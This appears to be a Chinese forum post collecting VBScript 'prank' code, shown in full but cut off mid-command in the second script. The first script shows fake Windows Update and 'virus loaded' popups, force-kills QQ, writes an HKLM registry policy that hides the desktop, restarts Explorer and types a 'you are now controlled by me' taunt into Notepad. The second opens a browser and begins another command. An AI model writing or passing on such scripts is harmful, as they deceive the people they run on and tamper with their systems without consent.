【vbs 整人代码《网上收集的》】 ###################vbs 整人代码1################### msgbox "要求："&vbcrlf&"1、要同时涉及 3 大门派"&vbcrlf&"2、要包含江湖门派间多年 怨情仇 又要打伦理"&vbcrlf&"3、同时情节还要扣人心悬 大有血雨腥 呼之欲来令人极为期待该小说之续集 同时留下 N"&vbcrlf&"4、越短越好"&vbcrlf&""&vbcrlf&"第 N 天 有人来投稿 全文只有九个字:"&vbcrlf&""&vbcrlf&"...........",0,"武侠小说征文" msgbox "秃驴 敢跟贫道抢师太",64,"投稿" set ws=createobject("wscript.shell") sub sleep (s) wscript.sleep s * 1000 end sub sleep 900 ws.popup "windows 检测到有重要更新未安装"&vbcrlf&""&vbcrlf&"系统将在 30 秒后自动下载更新并安装",30,"Windows Xp",64 sleep 10 ws.popup "正在下载更新......"&vbcrlf&""&vbcrlf&"稍候将提示您安装",10,"Windows Xp",64 sleep 900 ws.popup "windows 已将一病毒载入计算机中"&vbcrlf&""&vbcrlf&"稍后即将运行",15,"病毒",64 sleep 3 ws.run "taskkill /f /im qq.exe",vbhide : sleep 5 ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG" wscript.sleep 500 ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000 ws.run "explorer.exe",vbhide : wscript.sleep 6000 ws.run "notepad",3 : wscript.sleep 2000 ws.sendkeys "^ " : wscript.sleep 1000 verybat=split("gongxi ,ni ,~,ni ,yijing ,bei ,wo ,kongzhi ,le ,~,ruguo ,ni ,zai ,30 miaozhong ,nei ,guanji ,~,name , keneng ,hai ,youjiu ,~,fouze , haha haha ____youxi ,kaishi la ,~,haole ,wo ,xianzai ,yao ,chuqu ,yixia ,~,yihui ,wo ,zailai ,zhaoni , haizi ,",",") for each wind in verybat ws.sendkeys wind wscript.sleep 500 next ###################vbs 整人代码2 ################### set ierunner=createobject("wscript.shell") ierunner.run "cmd /c start iexplore 自己的网站站 wscript.sleep 8000 ierunner.sendkeys "%{F4}" on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd....
